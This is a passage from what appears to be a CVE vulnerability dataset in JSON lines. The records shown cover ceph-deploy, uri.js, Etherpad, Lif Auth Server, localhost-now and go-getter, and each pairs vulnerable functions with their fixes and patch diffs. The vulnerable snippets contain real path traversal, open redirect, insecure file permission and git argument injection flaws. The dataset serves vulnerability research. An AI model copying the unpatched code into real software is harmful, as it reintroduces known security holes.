'%s.tmp' % keypath\n        with open(tmp, 'w', 0600) as f:\n            f.write(mon_keyring)\n        try:\n            os.rename(tmp, keypath)\n        except OSError as e:\n            if e.errno == errno.EEXIST:\n                raise exc.ClusterExistsError(keypath)\n            else:\n                raise\n    finally:\n        os.umask(oldmask)"}], "vul_patch": "--- a/ceph_deploy/gatherkeys.py\n+++ b/ceph_deploy/gatherkeys.py\n@@ -1,45 +1,49 @@\n def gatherkeys(args):\n-    # client.admin\n-    keyring = '/etc/ceph/{cluster}.client.admin.keyring'.format(\n-        cluster=args.cluster)\n-    r = fetch_file(\n-        args=args,\n-        frompath=keyring,\n-        topath='{cluster}.client.admin.keyring'.format(\n-            cluster=args.cluster),\n-        _hosts=args.mon,\n-        )\n-    if not r:\n-        raise exc.KeyNotFoundError(keyring, args.mon)\n-\n-    # mon.\n-    keyring = '/var/lib/ceph/mon/{cluster}-{{hostname}}/keyring'.format(\n-        cluster=args.cluster)\n-    r = fetch_file(\n-        args=args,\n-        frompath=keyring,\n-        topath='{cluster}.mon.keyring'.format(cluster=args.cluster),\n-        _hosts=args.mon,\n-        )\n-    if not r:\n-        raise exc.KeyNotFoundError(keyring, args.mon)\n-\n-    # bootstrap\n-    for what in ['osd', 'mds', 'rgw']:\n-        keyring = '/var/lib/ceph/bootstrap-{what}/{cluster}.keyring'.format(\n-            what=what,\n+    oldmask = os.umask(077)\n+    try:\n+        # client.admin\n+        keyring = '/etc/ceph/{cluster}.client.admin.keyring'.format(\n             cluster=args.cluster)\n         r = fetch_file(\n             args=args,\n             frompath=keyring,\n-            topath='{cluster}.bootstrap-{what}.keyring'.format(\n-                cluster=args.cluster,\n-                what=what),\n+            topath='{cluster}.client.admin.keyring'.format(\n+                cluster=args.cluster),\n             _hosts=args.mon,\n             )\n         if not r:\n-            if what in ['osd', 'mds']:\n-                raise exc.KeyNotFoundError(keyring, args.mon)\n-            else:\n-                LOG.warning((\"No RGW bootstrap key found. Will not be able to \"\n-                             \"deploy RGW daemons\"))\n+            raise exc.KeyNotFoundError(keyring, args.mon)\n+\n+        # mon.\n+        keyring = '/var/lib/ceph/mon/{cluster}-{{hostname}}/keyring'.format(\n+            cluster=args.cluster)\n+        r = fetch_file(\n+            args=args,\n+            frompath=keyring,\n+            topath='{cluster}.mon.keyring'.format(cluster=args.cluster),\n+            _hosts=args.mon,\n+            )\n+        if not r:\n+            raise exc.KeyNotFoundError(keyring, args.mon)\n+\n+        # bootstrap\n+        for what in ['osd', 'mds', 'rgw']:\n+            keyring = '/var/lib/ceph/bootstrap-{what}/{cluster}.keyring'.format(\n+                what=what,\n+                cluster=args.cluster)\n+            r = fetch_file(\n+                args=args,\n+                frompath=keyring,\n+                topath='{cluster}.bootstrap-{what}.keyring'.format(\n+                    cluster=args.cluster,\n+                    what=what),\n+                _hosts=args.mon,\n+                )\n+            if not r:\n+                if what in ['osd', 'mds']:\n+                    raise exc.KeyNotFoundError(keyring, args.mon)\n+                else:\n+                    LOG.warning((\"No RGW bootstrap key found. Will not be able to \"\n+                                 \"deploy RGW daemons\"))\n+    finally:\n+        os.umask(oldmask)\n\n--- a/ceph_deploy/new.py\n+++ b/ceph_deploy/new.py\n@@ -5,15 +5,18 @@\n     keypath = '{name}.mon.keyring'.format(\n         name=args.cluster,\n         )\n-\n+    oldmask = os.umask(077)\n     LOG.debug('Writing monitor keyring to %s...', keypath)\n-    tmp = '%s.tmp' % keypath\n-    with file(tmp, 'w') as f:\n-        f.write(mon_keyring)\n     try:\n-        os.rename(tmp, keypath)\n-    except OSError as e:\n-        if e.errno == errno.EEXIST:\n-            raise exc.ClusterExistsError(keypath)\n-        else:\n-            raise\n+        tmp = '%s.tmp' % keypath\n+        with open(tmp, 'w', 0600) as f:\n+            f.write(mon_keyring)\n+        try:\n+            os.rename(tmp, keypath)\n+        except OSError as e:\n+            if e.errno == errno.EEXIST:\n+                raise exc.ClusterExistsError(keypath)\n+            else:\n+                raise\n+    finally:\n+        os.umask(oldmask)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0868", "cve_description": "Open Redirect in GitHub repository medialize/uri.js prior to 1.19.10.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/medialize/uri.js", "patch_url": ["https://github.com/medialize/uri.js/commit/a8166fe02f3af6dc1b2b888dcbb807155aad9509"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_273_1", "commit": "01920b5cda87d5dd726eab43d6e7f3ce34a2fd52", "file_path": "src/URI.js", "start_line": 491, "end_line": 553, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n\n    string = string.replace(URI.leading_whitespace_expression, '')\n\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/i, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "fix_func": [{"id": "fix_js_273_1", "commit": "a8166fe02f3af6dc1b2b888dcbb807155aad9509", "file_path": "src/URI.js", "start_line": 491, "end_line": 553, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n\n    string = string.replace(URI.leading_whitespace_expression, '')\n\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:+[/\\\\]*/i, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "vul_patch": "--- a/src/URI.js\n+++ b/src/URI.js\n@@ -27,7 +27,7 @@\n     }\n \n     // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n-    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/i, '$1://');\n+    string = string.replace(/^(https?|ftp|wss?)?:+[/\\\\]*/i, '$1://');\n \n     // extract protocol\n     if (string.substring(0, 2) === '//') {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-2298", "cve_description": "node/utils/ExportEtherpad.js in Etherpad 1.5.x before 1.5.2 might allow remote attackers to obtain sensitive information by leveraging an improper substring check when exporting a padID.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/ether/etherpad-lite", "patch_url": ["https://github.com/ether/etherpad-lite/commit/a0fb65205c7d7ff95f00eb9fd88e93b300f30c3d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_278_1", "commit": "ec7ff3a0cac87b9319c714f792f5d39d68716c6f", "file_path": "src/node/utils/ExportEtherpad.js", "start_line": 22, "end_line": 69, "snippet": "exports.getPadRaw = function(padId, callback){\n  async.waterfall([\n  function(cb){\n\n    // Get the Pad available content keys\n    db.findKeys(\"pad:\"+padId+\"*\", null, function(err,records){\n      if(!err){\n        cb(err, records);\n      }\n    })\n  },\n  function(records, cb){\n    var data = {};\n\n    async.forEachSeries(Object.keys(records), function(key, r){\n\n      // For each piece of info about a pad.\n      db.get(records[key], function(err, entry){\n        data[records[key]] = entry;\n\n        // Get the Pad Authors\n        if(entry.pool && entry.pool.numToAttrib){\n          var authors = entry.pool.numToAttrib;\n          async.forEachSeries(Object.keys(authors), function(k, c){\n            if(authors[k][0] === \"author\"){\n              var authorId = authors[k][1];\n\n              // Get the author info\n              db.get(\"globalAuthor:\"+authorId, function(e, authorEntry){\n                if(authorEntry && authorEntry.padIDs) authorEntry.padIDs = padId;\n                if(!e) data[\"globalAuthor:\"+authorId] = authorEntry;\n              });\n\n            }\n            // console.log(\"authorsK\", authors[k]);\n            c(null);\n          });\n        }\n        r(null); // callback;\n      });\n    }, function(err){ \n      cb(err, data);\n    })\n  }\n  ], function(err, data){\n    callback(null, data);\n  });\n}"}], "fix_func": [{"id": "fix_js_278_1", "commit": "a0fb65205c7d7ff95f00eb9fd88e93b300f30c3d", "file_path": "src/node/utils/ExportEtherpad.js", "start_line": 22, "end_line": 79, "snippet": "exports.getPadRaw = function(padId, callback){\n  async.waterfall([\n  function(cb){\n\n    // Get the Pad\n    db.findKeys(\"pad:\"+padId, null, function(err,padcontent){\n      if(!err){\n        cb(err, padcontent);\n      }\n    })\n  },\n  function(padcontent,cb){\n\n    // Get the Pad available content keys\n    db.findKeys(\"pad:\"+padId+\":*\", null, function(err,records){\n      if(!err){\n        for (var key in padcontent) { records.push(padcontent[key]);}\n        cb(err, records);\n      }\n    })\n  },\n  function(records, cb){\n    var data = {};\n\n    async.forEachSeries(Object.keys(records), function(key, r){\n\n      // For each piece of info about a pad.\n      db.get(records[key], function(err, entry){\n        data[records[key]] = entry;\n\n        // Get the Pad Authors\n        if(entry.pool && entry.pool.numToAttrib){\n          var authors = entry.pool.numToAttrib;\n          async.forEachSeries(Object.keys(authors), function(k, c){\n            if(authors[k][0] === \"author\"){\n              var authorId = authors[k][1];\n\n              // Get the author info\n              db.get(\"globalAuthor:\"+authorId, function(e, authorEntry){\n                if(authorEntry && authorEntry.padIDs) authorEntry.padIDs = padId;\n                if(!e) data[\"globalAuthor:\"+authorId] = authorEntry;\n              });\n\n            }\n            // console.log(\"authorsK\", authors[k]);\n            c(null);\n          });\n        }\n        r(null); // callback;\n      });\n    }, function(err){ \n      cb(err, data);\n    })\n  }\n  ], function(err, data){\n    callback(null, data);\n  });\n}"}], "vul_patch": "--- a/src/node/utils/ExportEtherpad.js\n+++ b/src/node/utils/ExportEtherpad.js\n@@ -2,9 +2,19 @@\n   async.waterfall([\n   function(cb){\n \n+    // Get the Pad\n+    db.findKeys(\"pad:\"+padId, null, function(err,padcontent){\n+      if(!err){\n+        cb(err, padcontent);\n+      }\n+    })\n+  },\n+  function(padcontent,cb){\n+\n     // Get the Pad available content keys\n-    db.findKeys(\"pad:\"+padId+\"*\", null, function(err,records){\n+    db.findKeys(\"pad:\"+padId+\":*\", null, function(err,records){\n       if(!err){\n+        for (var key in padcontent) { records.push(padcontent[key]);}\n         cb(err, records);\n       }\n     })\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49801", "cve_description": "Lif Auth Server is a server for validating logins, managing information, and account recovery for Lif Accounts. The issue relates to the `get_pfp` and `get_banner` routes on Auth Server. The issue is that there is no check to ensure that the file that Auth Server is receiving through these URLs is correct. This could allow an attacker access to files they shouldn't have access to. This issue has been patched in version 1.4.0.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Lif-Platforms/Lif-Auth-Server", "patch_url": ["https://github.com/Lif-Platforms/Lif-Auth-Server/commit/c235bcc2ee65e4a0dfb10284cf2cbc750213efeb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_382_1", "commit": "ffb704bf417213afc59cab9d74e5da0a5ead2a93", "file_path": "src/auth_server.py", "start_line": 335, "end_line": 351, "snippet": "async def get_pfp(username: str):\n    \"\"\"\n    ## Get User Avatar (Profile Picture)\n    Allows services to get the avatar (profile picture) of a specified account. \n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The avatar the service requested.\n    \"\"\"\n    # Checks if the user has a profile pic uploaded\n    if os.path.isfile(f\"user_images/pfp/{username}\"):\n        return FileResponse(f\"user_images/pfp/{username}\", media_type='image/gif')\n    else:\n        # Returns default image if none is uploaded\n        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')"}, {"id": "vul_py_382_2", "commit": "ffb704bf417213afc59cab9d74e5da0a5ead2a93", "file_path": "src/auth_server.py", "start_line": 354, "end_line": 370, "snippet": "async def get_banner(username: str):\n    \"\"\"\n    ## Get User Banner\n    Allows services to get the account banner of a specified account.\n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The banner the service requested.\n    \"\"\"\n    # Checks if the user has a profile pic uploaded\n    if os.path.isfile(f\"user_images/banner/{username}\"):\n        return FileResponse(f\"user_images/banner/{username}\", media_type='image/gif')\n    else:\n        # Returns default image if none is uploaded\n        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')"}], "fix_func": [{"id": "fix_py_382_1", "commit": "c235bcc2ee65e4a0dfb10284cf2cbc750213efeb", "file_path": "src/auth_server.py", "start_line": 335, "end_line": 359, "snippet": "async def get_pfp(username: str):\n    \"\"\"\n    ## Get User Avatar (Profile Picture)\n    Allows services to get the avatar (profile picture) of a specified account. \n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The avatar the service requested.\n    \"\"\"\n    # Sanitize and validate the username variable (Example: alphanumeric characters allowed)\n    if not username.isalnum():\n        # Handle invalid input (username contains non-alphanumeric characters)\n        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n\n    # Construct the file path using the sanitized username\n    banner_path = f\"user_images/pfp/{username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(banner_path):\n        return FileResponse(banner_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')"}, {"id": "fix_py_382_2", "commit": "c235bcc2ee65e4a0dfb10284cf2cbc750213efeb", "file_path": "src/auth_server.py", "start_line": 362, "end_line": 386, "snippet": "async def get_banner(username: str):\n    \"\"\"\n    ## Get User Banner\n    Allows services to get the account banner of a specified account.\n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The banner the service requested.\n    \"\"\"\n    # Sanitize and validate the username variable (Example: alphanumeric characters allowed)\n    if not username.isalnum():\n        # Handle invalid input (username contains non-alphanumeric characters)\n        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n\n    # Construct the file path using the sanitized username\n    banner_path = f\"user_images/banner/{username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(banner_path):\n        return FileResponse(banner_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')"}], "vul_patch": "--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -9,9 +9,17 @@\n     ### Returns:\n     - **file:** The avatar the service requested.\n     \"\"\"\n-    # Checks if the user has a profile pic uploaded\n-    if os.path.isfile(f\"user_images/pfp/{username}\"):\n-        return FileResponse(f\"user_images/pfp/{username}\", media_type='image/gif')\n+    # Sanitize and validate the username variable (Example: alphanumeric characters allowed)\n+    if not username.isalnum():\n+        # Handle invalid input (username contains non-alphanumeric characters)\n+        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n+\n+    # Construct the file path using the sanitized username\n+    banner_path = f\"user_images/pfp/{username}\"\n+\n+    # Check if the file exists and is a regular file\n+    if os.path.isfile(banner_path):\n+        return FileResponse(banner_path, media_type='image/gif')\n     else:\n-        # Returns default image if none is uploaded\n+        # Return default image if the user's banner doesn't exist\n         return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n\n--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -9,9 +9,17 @@\n     ### Returns:\n     - **file:** The banner the service requested.\n     \"\"\"\n-    # Checks if the user has a profile pic uploaded\n-    if os.path.isfile(f\"user_images/banner/{username}\"):\n-        return FileResponse(f\"user_images/banner/{username}\", media_type='image/gif')\n+    # Sanitize and validate the username variable (Example: alphanumeric characters allowed)\n+    if not username.isalnum():\n+        # Handle invalid input (username contains non-alphanumeric characters)\n+        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n+\n+    # Construct the file path using the sanitized username\n+    banner_path = f\"user_images/banner/{username}\"\n+\n+    # Check if the file exists and is a regular file\n+    if os.path.isfile(banner_path):\n+        return FileResponse(banner_path, media_type='image/gif')\n     else:\n-        # Returns default image if none is uploaded\n+        # Return default image if the user's banner doesn't exist\n         return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3729", "cve_description": "localhost-now node module suffers from a Path Traversal vulnerability due to lack of validation of file, which allows a malicious user to read content of any file with known path.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/DCKT/localhost-now", "patch_url": ["https://github.com/DCKT/localhost-now/commit/30b004c7f145d677df8800a106c2edc982313995#diff-b9cfc7f2cdf78a7f4b91a753d10865a2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_182_1", "commit": "f12b069", "file_path": "lib/app.js", "start_line": 6, "end_line": 43, "snippet": "exports.start = function(args) {\n\tvar port = parseInt(args[0]) ? args[0] : 1337;\n\n\thttp.createServer(function(req, res) {\n\t\tvar url = req.url;\n\n\t\tif (url.indexOf('?') != -1) {\n\t\t\turl = url.split('?')[0];\n\t\t}\n\n\t\tvar file = url === \"/\" ? \"/index.html\" : url;\n\n\t\tfs.readFile(path.normalize(process.cwd()) + file, function(err, data) {\n\t\t\tif (!!err) {\n\t\t\t\tconsole.error('Error loading : '+ url);\n\t\t\t\tres.writeHead(404);\n\t\t\t\tres.end();\n\t\t\t}\n\t\t\telse {\n\t\t\t\tvar type = path.extname(file);\n\n\t\t\t\tif (type === \".js\") {\n\t        contentType = 'application/javascript';\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tcontentType = \"text/\"+ type.slice(1, type.length);\n\t\t\t\t}\n\n\t\t\t\tres.setHeader('content-type', contentType);\n\t\t\t\tres.end(data);\n\t\t\t}\n\n\n\t\t});\n\n\t}).listen(port);\n\tprocess.stdout.write(\"\\033[33mWeb Server started on localhost:\"+ port +\" \\033[39m\\n\");\n}"}], "fix_func": [{"id": "fix_js_182_1", "commit": "30b004c", "file_path": "lib/app.js", "start_line": 6, "end_line": 41, "snippet": "exports.start = function(args) {\n  const port = parseInt(args[0]) ? args[0] : 1337\n\n  http\n    .createServer(function(req, res) {\n      const url = req.url\n\n      if (url.indexOf('?') != -1) {\n        url = url.split('?')[0]\n      }\n\n      const file = url === '/' ? '/index.html' : url.replace(/(\\.\\.[\\/\\\\])+/g, '')\n      const rootPath = path.normalize(process.cwd())\n\n      fs.readFile(`${rootPath}${file}`, (err, data) => {\n        if (!!err) {\n          console.error('Error loading : ' + url)\n          res.writeHead(404)\n          res.end()\n        } else {\n          var type = path.extname(file)\n\n          if (type === '.js') {\n            contentType = 'application/javascript'\n          } else {\n            contentType = 'text/' + type.slice(1, type.length)\n          }\n\n          res.setHeader('content-type', contentType)\n          res.end(data)\n        }\n      })\n    })\n    .listen(port)\n  process.stdout.write('\\033[33mWeb Server started on localhost:' + port + ' \\033[39m\\n')\n}"}], "vul_patch": "--- a/lib/app.js\n+++ b/lib/app.js\n@@ -1,38 +1,36 @@\n exports.start = function(args) {\n-\tvar port = parseInt(args[0]) ? args[0] : 1337;\n+  const port = parseInt(args[0]) ? args[0] : 1337\n \n-\thttp.createServer(function(req, res) {\n-\t\tvar url = req.url;\n+  http\n+    .createServer(function(req, res) {\n+      const url = req.url\n \n-\t\tif (url.indexOf('?') != -1) {\n-\t\t\turl = url.split('?')[0];\n-\t\t}\n+      if (url.indexOf('?') != -1) {\n+        url = url.split('?')[0]\n+      }\n \n-\t\tvar file = url === \"/\" ? \"/index.html\" : url;\n+      const file = url === '/' ? '/index.html' : url.replace(/(\\.\\.[\\/\\\\])+/g, '')\n+      const rootPath = path.normalize(process.cwd())\n \n-\t\tfs.readFile(path.normalize(process.cwd()) + file, function(err, data) {\n-\t\t\tif (!!err) {\n-\t\t\t\tconsole.error('Error loading : '+ url);\n-\t\t\t\tres.writeHead(404);\n-\t\t\t\tres.end();\n-\t\t\t}\n-\t\t\telse {\n-\t\t\t\tvar type = path.extname(file);\n+      fs.readFile(`${rootPath}${file}`, (err, data) => {\n+        if (!!err) {\n+          console.error('Error loading : ' + url)\n+          res.writeHead(404)\n+          res.end()\n+        } else {\n+          var type = path.extname(file)\n \n-\t\t\t\tif (type === \".js\") {\n-\t        contentType = 'application/javascript';\n-\t\t\t\t}\n-\t\t\t\telse {\n-\t\t\t\t\tcontentType = \"text/\"+ type.slice(1, type.length);\n-\t\t\t\t}\n+          if (type === '.js') {\n+            contentType = 'application/javascript'\n+          } else {\n+            contentType = 'text/' + type.slice(1, type.length)\n+          }\n \n-\t\t\t\tres.setHeader('content-type', contentType);\n-\t\t\t\tres.end(data);\n-\t\t\t}\n-\n-\n-\t\t});\n-\n-\t}).listen(port);\n-\tprocess.stdout.write(\"\\033[33mWeb Server started on localhost:\"+ port +\" \\033[39m\\n\");\n+          res.setHeader('content-type', contentType)\n+          res.end(data)\n+        }\n+      })\n+    })\n+    .listen(port)\n+  process.stdout.write('\\033[33mWeb Server started on localhost:' + port + ' \\033[39m\\n')\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-6257", "cve_description": "HashiCorp\u2019s go-getter library can be coerced into executing Git update on an existing maliciously modified Git Configuration, potentially leading to arbitrary code execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/hashicorp/go-getter", "patch_url": ["https://github.com/hashicorp/go-getter/commit/268c11cae8cf0d9374783e06572679796abe9ce9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_20_1", "commit": "975961f", "file_path": "get_git.go", "start_line": 192, "end_line": 229, "snippet": "func (g *GitGetter) clone(ctx context.Context, dst, sshKeyFile string, u *url.URL, ref string, depth int) error {\n\targs := []string{\"clone\"}\n\n\toriginalRef := ref // we handle an unspecified ref differently than explicitly selecting the default branch below\n\tif ref == \"\" {\n\t\tref = findRemoteDefaultBranch(ctx, u)\n\t}\n\tif depth > 0 {\n\t\targs = append(args, \"--depth\", strconv.Itoa(depth))\n\t\targs = append(args, \"--branch\", ref)\n\t}\n\targs = append(args, u.String(), dst)\n\n\tcmd := exec.CommandContext(ctx, \"git\", args...)\n\tsetupGitEnv(cmd, sshKeyFile)\n\terr := getRunCommand(cmd)\n\tif err != nil {\n\t\tif depth > 0 && originalRef != \"\" {\n\t\t\t// If we're creating a shallow clone then the given ref must be\n\t\t\t// a named ref (branch or tag) rather than a commit directly.\n\t\t\t// We can't accurately recognize the resulting error here without\n\t\t\t// hard-coding assumptions about git's human-readable output, but\n\t\t\t// we can at least try a heuristic.\n\t\t\tif gitCommitIDRegex.MatchString(originalRef) {\n\t\t\t\treturn fmt.Errorf(\"%w (note that setting 'depth' requires 'ref' to be a branch or tag name)\", err)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tif depth < 1 && originalRef != \"\" {\n\t\t// If we didn't add --depth and --branch above then we will now be\n\t\t// on the remote repository's default branch, rather than the selected\n\t\t// ref, so we'll need to fix that before we return.\n\t\treturn g.checkout(ctx, dst, originalRef)\n\t}\n\treturn nil\n}"}, {"id": "vul_go_20_2", "commit": "975961f", "file_path": "get_git.go", "start_line": 290, "end_line": 300, "snippet": "func findRemoteDefaultBranch(ctx context.Context, u *url.URL) string {\n\tvar stdoutbuf bytes.Buffer\n\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", u.String(), \"HEAD\")\n\tcmd.Stdout = &stdoutbuf\n\terr := cmd.Run()\n\tmatches := lsRemoteSymRefRegexp.FindStringSubmatch(stdoutbuf.String())\n\tif err != nil || matches == nil {\n\t\treturn \"master\"\n\t}\n\treturn matches[len(matches)-1]\n}"}], "fix_func": [{"id": "fix_go_20_1", "commit": "268c11c", "file_path": "get_git.go", "start_line": 192, "end_line": 229, "snippet": "func (g *GitGetter) clone(ctx context.Context, dst, sshKeyFile string, u *url.URL, ref string, depth int) error {\n\targs := []string{\"clone\"}\n\n\toriginalRef := ref // we handle an unspecified ref differently than explicitly selecting the default branch below\n\tif ref == \"\" {\n\t\tref = findRemoteDefaultBranch(ctx, u)\n\t}\n\tif depth > 0 {\n\t\targs = append(args, \"--depth\", strconv.Itoa(depth))\n\t\targs = append(args, \"--branch\", ref)\n\t}\n\targs = append(args, \"--\", u.String(), dst)\n\n\tcmd := exec.CommandContext(ctx, \"git\", args...)\n\tsetupGitEnv(cmd, sshKeyFile)\n\terr := getRunCommand(cmd)\n\tif err != nil {\n\t\tif depth > 0 && originalRef != \"\" {\n\t\t\t// If we're creating a shallow clone then the given ref must be\n\t\t\t// a named ref (branch or tag) rather than a commit directly.\n\t\t\t// We can't accurately recognize the resulting error here without\n\t\t\t// hard-coding assumptions about git's human-readable output, but\n\t\t\t// we can at least try a heuristic.\n\t\t\tif gitCommitIDRegex.MatchString(originalRef) {\n\t\t\t\treturn fmt.Errorf(\"%w (note that setting 'depth' requires 'ref' to be a branch or tag name)\", err)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tif depth < 1 && originalRef != \"\" {\n\t\t// If we didn't add --depth and --branch above then we will now be\n\t\t// on the remote repository's default branch, rather than the selected\n\t\t// ref, so we'll need to fix that before we return.\n\t\treturn g.checkout(ctx, dst, originalRef)\n\t}\n\treturn nil\n}"}, {"id": "fix_go_20_2", "commit": "268c11c", "file_path": "get_git.go", "start_line": 290, "end_line": 300, "snippet": "func findRemoteDefaultBranch(ctx context.Context, u *url.URL) string {\n\tvar stdoutbuf bytes.Buffer\n\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", \"--\", u.String(), \"HEAD\")\n\tcmd.Stdout = &stdoutbuf\n\terr := cmd.Run()\n\tmatches := lsRemoteSymRefRegexp.FindStringSubmatch(stdoutbuf.String())\n\tif err != nil || matches == nil {\n\t\treturn \"master\"\n\t}\n\treturn matches[len(matches)-1]\n}"}], "vul_patch": "--- a/get_git.go\n+++ b/get_git.go\n@@ -9,7 +9,7 @@\n \t\targs = append(args, \"--depth\", strconv.Itoa(depth))\n \t\targs = append(args, \"--branch\", ref)\n \t}\n-\targs = append(args, u.String(), dst)\n+\targs = append(args, \"--\", u.String(), dst)\n \n \tcmd := exec.CommandContext(ctx, \"git\", 